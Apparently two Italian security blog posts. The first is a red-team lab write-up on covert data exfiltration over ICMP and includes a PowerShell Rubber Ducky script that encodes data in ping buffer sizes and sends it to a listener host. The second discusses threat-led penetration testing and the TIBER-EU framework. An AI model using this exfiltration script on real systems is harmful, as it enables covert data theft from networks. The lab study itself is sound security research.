cyber security, hacking

ICMP infostealing: il lab [prima parte]

Prima una premessa.

Sul piano operativo l’esecuzione di un attacco informatico che ha come obiettivo il furto di dati (Data Breach) diventa più efficace in proporzione alla quantità di informazioni relative al target di cui si può disporre. Alcune di queste informazioni posso essere raccolte grazie a tecniche come OSInt e Social Engeneering, altre possono essere trafugate direttamente dal target tramite delle azioni di ricognizione o attacchi meno rumorosi e progettati con il solo fine di raccogliere maggiorni informazioni sul target.

In questo contesto la possibilità di fare info stealing sul target diventa particolarmente appetibile: l’attacker potrebbe progettare azioni estremamente mirate utilizzando tecniche di data exfiltration per appropriarsi di pochi ma importanti dati da utilizzare in fasi successive dell’attacco.

Come sempre un esempio vale mille parole, ho quindi iniziato a lavorare su un lab per studiare meglio la tecnica. La sintesi di questo piccolo esperimento andrà a comporre un paper dedicato al tema.

Scenario

Partiamo da un obiettivo semplice e concreto: estrarre informazioni dall’interno della rete target avendo la possibilità di accedere fisicamente ad un dispositivo della rete ma per un tempo limitato. I vincoli sono gli stessi che avrebbe un threat actor: ammesso che gli sia possibile accedere ai locali ed arrivare in prossimità di un sistema connesso alla rete (una workstation ad esempio) probabilmente avrà a disposizione relativamente poco tempo per eseguire delle operazioni.

Uno strumento comodo per questo scenario potrebbe essere una Rubber Ducky da collegare per pochi secondo alla macchina target. In questo caso avremmo la possibilità di eseguire qualche comando, limitatamente al tempo a disposizione, per inviarci un po’ di informazioni.

Ovviamente le informazioni dobbiamo mandarle verso un sistema che siamo in grado di governare. In base al metodo di invio delle informazioni dovremo quindi predisporre un server che riceva i dati e ci permetta di visualizzare quanto raccolto.

ipotesi di scenario

Per il nostro lab. ho scelto come “canale” ICMP. E’ una spece di sfida personale: in condizioni operative (parliamo quindi di Red Teaming o attività relative a Pen Testing) utilizzo canali un po’ più usabili ma mi sono sempre chiesto fino a quanto potevo spingermi con ICMP. Il nostro server dovrà quindi ricevere pacchetti ICMP e per l’occasione utillizzerò il collaudatissimo scapy. Avremo quindi un piccolo python script che riceverà le sequenze ICMP e ricomporrà il messaggio.

La parte della costruzione del messaggio e della sua ricomposizione è l’unica che presenta una reale complessità (se così si può dire) in quanto va aggirato il fatto che il comando PING in ambienti Microsoft non consente di inserire un messaggio o un testo nel payload. L’unica variazione che possiamo permetterci è la dimensione del buffer.

L’idea è quindi quella di far corrispondere ad ogni carattere dell’output del comando un valore decimale che rappresenti il corrispettivo “DECIMALE” del carattere. Quindi il messaggio “AAAA” dovrà produrre quattro ping con dimensione del buffer 65 byte. Lo script che riceve i quattro ping dovrà prendere la seguenza di byte e ricomporla a formare il messaggio.

Aggiungiamo un po’ di complessità: non mi piace particolarmente mandare il messaggio completamente in chiaro. Potrebbe essere relativamente semplice da “leggere”. Prima di inviarlo eseguiamo un encode in base64 e di conseguenza inviaremo i caratteri della stringa dopo l’encode. Per una demo va più che bene, in un contesto reale potremmo valutare una vera e propria cifratura, il convetto di base è lo stesso.

Demo

Il codice della p-o-c è disponibile nella mia repo e fa parte delle dimostrazioni in ambito C2. L’ho chiamata ping.pong: https://github.com/roccosicilia/my-papers/tree/main/poc-c2/ping.pong.

La demo di compone essenzialmente di due script:

  • pingpong.py è il server ICMP che cattura (usa effetticamente la chiamata sniff) i pacchetti ICMP in ingresso e salva lo stream del messaggio in un file txt
  • readpong.py è uno script che ho voluto tenere separato ricomporre il messaggio in arrivo e presentarlo in modo leggibile

A questi due script si aggiungono i comandi per la Rubber Ducky. Qui spazio alla fantasia, vi lascio comunque una possibile sequenza in formato ps1:

# target host
$ip = "192.168.1.2"
# data to exfil
$MYDATA = $("hostname")

# encode
$base64String = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($MYDATA))
Write-Output $base64String

# reset ping
ping -l 1 -n 1 $ip

# send message by ping
for ($i=0; $i -le $base64String.Length; $i++)
{
    $x = [int[]][char[]]$base64String[$i]
    ping -l $x -n 1 $ip
    Start-Sleep -Milliseconds 500
}

Un piccolo video dimostrativo:


L’argomento, nonostante sia tecnicamente semplice, ha richiesto un po’ di studio e test che ho in parte fatto live sul canale Twitch. Sto preparando una sintesi delle sessioni live e questa sera (27 aprile 2023) ci sarà una nuova sessione dedicata ai progressi ottenuti ed a qualche nuovo test.

cyber security, hacking

Threat-Led Penetration Testing

Oggi snoccioliamo qualche bella sigla e partiamo con TLPT. La prendo larga: come si fa a capire se le scelte fatte da una organizzazione, in termini di difesa dalle minacce informatiche, funzionano e in che grado funzionano?

Prima di darci una risposta ripassiamo il concetto di DIFESA, termine con il quale ci vogliamo riferire alla capacità di una organizzazione di reagire ad una minaccia. Non stiamo quindi parlando dei soli sistemi di protezione che ne fanno ovviamente parte (es: sistemi anti-malware, servizi MDR, ecc), ma dall’intera strategia di identificazione e gestione degli incidenti di sicurezza. Per essere chiari e lapidati: avere un ottimo sistema di detection, per quanto magico e ben configurato, non è una strategia di difesa, è uno strumento utile che deve far parte di una strategia più ampia.

Ora possiamo tornare alla domanda iniziale. La mia risposta (e non solo la mia) è: mettendo alla prova l’organizzazione. Ora, che ci crediate o no, l’unico modo per mettere alla prova un’organizzazione in tal senso è vedere come reagisce quando sottoposta ad un attacco informatico, tutto il resto sono chiacchiere.
Ci sono molte attività indispensabili che servono ad identificare falle specifiche con l’obiettivo di costruire un piano di miglioramento costante della propria postura. Possiamo eseguire molte tipologie di assessment, definire piani di formazione, adeguare costantemente i sistemi e le procedure, ma per vedere se l’impalcatura regge bisogna dargli qualche scossone.

Nulla di nuovo sotto al sole, chi lavora nel campo dell’offensive security propone questo approccio da anni. La citata sigla sta per Threat-Led Penetration Testing, per gli amici Red Teaming: sottoporre un target ad una serie di azioni controllate e concordate che facciano uso di metodologie e strumenti tipicamente in uso ad un attacker.

E’ un tema che recentemente si sta discutendo più frequentemente rispetto a qualche mese fa, probabilmente in conseguenza a quanto riportato nella Guida nazionale TIBER-IT, in riferimento al framework TIBER-EU. Le direttive in questione sono state pensate per il settore finanziario, storicamente un po’ più attento ai rischi legati alle moderne minacce cyber. A mio parere è un tema su cui tutti i settori dovrebbero cominciare a ragionare seriamente.

Ovviamente il tema va opportunamente declinato nei singoli contesti: stiamo parlando di applicare una metodologia che, sulla base del tipo di target, può prevedere strumenti, competenze e costi diversi. Il costo per un’azienda interessata va quindi valutato sulla base del contesto di riferimento che per ovvie ragioni avrà molte peculiarità da tenere in considerazione.

A cosa serve simulare un’azione di attacco? Personalmente non vorrei scoprire che qualcosa nella mia strategia non va a seguito di un attacco vero. Le aziende strutturate sono spesso molto complesse, è poco realistico fare previsioni a tavolino su come reagirà il “sistema”, nel complesso, a certe sollecitazioni. Per chi lavora in questo ambito sto dicendo delle ovvietà enormi, fattore in contrato con la realtà odierna in cui un numero al momento troppo basso di aziende si sta realmente muovendo in questa direzione.

Visto che si tratta dell’ennesimo argomento complesso gli dedico uno spazio nella prossima live del 21 gennaio sul mio canale Twitch.